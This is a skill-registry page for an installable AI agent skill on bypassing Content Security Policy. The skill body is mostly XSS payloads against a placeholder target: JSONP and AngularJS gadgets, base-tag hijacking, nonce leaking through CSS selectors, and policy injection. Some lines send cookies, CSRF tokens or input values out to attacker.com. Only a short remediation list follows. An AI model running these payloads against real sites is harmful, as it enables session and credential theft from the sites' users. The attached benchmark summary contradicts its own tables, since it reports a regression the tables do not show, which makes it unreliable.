Install any skill in seconds. Free to start, no credit card required.
Get Started Free →Analyze and bypass Content Security Policy implementations to achieve cross-site scripting by exploiting misconfigurations, JSONP endpoints, unsafe directives, and policy injection techniques.
.claude/skills/performing-content-security-policy-bypass/SKILL.md| Test case | Without → With | Effect | Δ tokens | Δ turns |
|---|---|---|---|---|
| case-18 | ✗→✓ | ▲ Improved | — | — |
| case-09 | ✗→✗ | = Same ✗ | — | — |
| case-16 | ✗→✗ | = Same ✗ | — | — |
| case-12 | ✗→✗ | = Same ✗ | — | — |
| case-14 | ✗→✗ | = Same ✗ | — | — |
bash# Extract CSP from response headers curl -sI http://target.com | grep -i "content-security-policy" # Check for CSP in meta tags curl -s http://target.com | grep -i "content-security-policy" # Analyze CSP with Google CSP Evaluator # Visit: https://csp-evaluator.withgoogle.com/ # Paste the CSP policy for automated analysis # Check for report-only mode (not enforced) curl -sI http://target.com | grep -i "content-security-policy-report-only" # If only report-only exists, CSP is NOT enforced - XSS works directly # Parse directive values # Example CSP: # script-src 'self' 'unsafe-inline' https://cdn.example.com; # default-src 'self'; style-src 'self' 'unsafe-inline'; # img-src *; connect-src 'self'
bash# If script-src includes 'unsafe-inline': # CSP is effectively bypassed for inline scripts <script>alert(document.domain)</script> <img src=x onerror="alert(1)"> # If script-src includes 'unsafe-eval': # eval() and related functions work <script>eval('alert(1)')</script> <script>setTimeout('alert(1)',0)</script> <script>new Function('alert(1)')()</script> # If 'unsafe-inline' with nonce: # unsafe-inline is ignored when nonce is present (CSP3) # Focus on nonce leaking instead
bash# If CSP whitelists a domain with JSONP endpoints: # script-src 'self' https://accounts.google.com # Find JSONP endpoints on whitelisted domains # Google: <script src="https://accounts.google.com/o/oauth2/revoke?callback=alert(1)"></script> # Common JSONP endpoints: # https://www.google.com/complete/search?client=chrome&q=test&callback=alert(1)// # https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.6.0/angular.min.js # If AngularJS is whitelisted (CDN): # script-src includes cdnjs.cloudflare.com or ajax.googleapis.com <script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.6.0/angular.min.js"></script> <div ng-app ng-csp>{{$eval.constructor('alert(1)')()}}</div> # Exploit JSONP on whitelisted APIs <script src="https://whitelisted-api.com/endpoint?callback=alert(1)//"> </script>
bash# If base-uri is not restricted: # Inject <base> tag to redirect relative script loads <base href="https://attacker.com/"> # All relative script src will load from attacker.com # If form-action is not restricted: # Steal data via form submission <form action="https://attacker.com/steal" method="POST"> <input name="csrf_token" value=""> </form> <script>document.forms[0].submit()</script> # If object-src is not restricted: # Use Flash or plugin-based XSS <object data="https://attacker.com/exploit.swf"></object> <embed src="https://attacker.com/exploit.swf">
bash# Nonce leaking via CSS attribute selectors # If attacker can inject HTML (but not script due to CSP nonce): <style> script[nonce^="a"] { background: url("https://attacker.com/leak?nonce=a"); } script[nonce^="b"] { background: url("https://attacker.com/leak?nonce=b"); } </style> # Brute-force each character position to leak the nonce # Nonce reuse detection # If the same nonce is used across multiple pages or requests: # Capture nonce from one page, use it to inject script on another # DOM clobbering to override nonce checking <form id="csp"><input name="nonce" value="attacker-controlled"></form> # Script gadgets in whitelisted libraries # If a whitelisted JS library has a gadget that creates scripts: # jQuery: $.getScript(), $.globalEval() # Lodash: _.template() # DOMPurify bypass via prototype pollution # Policy injection via reflected parameters # If CSP header reflects user input: # Inject: ;script-src 'unsafe-inline' # Or inject: ;report-uri /csp-report;script-src-elem 'unsafe-inline'
bash# Even without script execution, data exfiltration is possible: # Via img-src (if allows external): <img src="https://attacker.com/steal?data=SENSITIVE_DATA"> # Via CSS injection (if style-src allows unsafe-inline): <style> input[value^="a"] { background: url("https://attacker.com/?char=a"); } input[value^="b"] { background: url("https://attacker.com/?char=b"); } </style> # Via connect-src (if allows external): <script nonce="valid"> fetch('https://attacker.com/steal?data=' + document.cookie); </script> # Via DNS prefetch: <link rel="dns-prefetch" href="//data.attacker.com"> # Via WebRTC (if not blocked): # WebRTC can leak data through STUN/TURN servers
| Concept | Description | |---------|-------------| | unsafe-inline | CSP directive allowing inline script execution, defeating XSS protection | | Nonce-based CSP | Using random nonces to allow specific scripts while blocking injected ones | | JSONP Bypass | Exploiting JSONP endpoints on whitelisted domains to execute attacker callbacks | | Policy Injection | Injecting CSP directives through reflected user input in headers | | base-uri Hijacking | Redirecting relative script loads by injecting a base element | | Script Gadgets | Legitimate library features that can be abused to bypass CSP | | CSP Report-Only | Non-enforcing CSP mode that only logs violations without blocking |
| Tool | Purpose | |------|---------| | CSP Evaluator | Google tool for analyzing CSP policy weaknesses | | Burp Suite | HTTP proxy for CSP header analysis and bypass testing | | CSP Scanner | Browser extension for identifying CSP bypass opportunities | | csp-bypass | Curated list of CSP bypass techniques and payloads | | RetireJS | Identify vulnerable JavaScript libraries on whitelisted CDNs | | DOM Invader | Burp tool for testing CSP bypasses through DOM manipulation |
## CSP Bypass Assessment Report
- **Target**: http://target.com
- **CSP Mode**: Enforced
- **Policy**: script-src 'self' https://cdn.jsdelivr.net; default-src 'self'
### CSP Analysis
| Directive | Value | Risk |
|-----------|-------|------|
| script-src | 'self' cdn.jsdelivr.net | JSONP/Library bypass possible |
| default-src | 'self' | Moderate |
| base-uri | Not set | base-uri hijacking possible |
| object-src | Not set (falls back to default-src) | Low |
### Bypass Techniques Found
| # | Technique | Payload | Impact |
|---|-----------|---------|--------|
| 1 | AngularJS via CDN | Load angular.min.js + template injection | Full XSS |
| 2 | Missing base-uri | <base href="https://evil.com/"> | Script hijack |
### Remediation
- Remove whitelisted CDN domains; use nonce-based or hash-based CSP
- Add base-uri 'self' to prevent base element injection
- Add object-src 'none' to block plugin-based execution
- Migrate from unsafe-inline to strict nonce-based policy
- Implement strict-dynamic for modern CSP3 browsers| Case | Status | Duration (ms) | Turns | Tokens | Tool calls | ||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
| Without | With | Δ | Without | With | Δ | Without | With | Δ | Without | With | Δ | ||
case-09 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
case-16 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
case-12 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
case-14 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
case-11 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
case-17 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
case-01 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
case-18 | fail→pass | — | — | — | — | — | — | — | — | — | — | — | — |
case-20 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
case-13 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
case-06 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
case-02 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
case-07 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
case-10 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
case-22 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
case-03 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
case-04 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
case-08 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
case-05 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
case-15 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
case-19 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
case-21 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
DecimalAI ran this skill against gemini-3.6-flash twice over the same eval suite — once with the skill loaded and once without — and compared the two runs case by case. 22 cases were attempted. The headline lift of 0 percentage points is the difference between those two pass rates over the 22 comparable cases. 1 case got worse with the skill loaded, and it is included in that figure.
The per-case answers from this run were removed by the retention sweep, so the case table below shows the verdicts without the text either arm produced. The counts above were recorded at the time and are unaffected. Answers are now kept for 180 days.
Other measured skills in the registry, with their headline benchmark lift.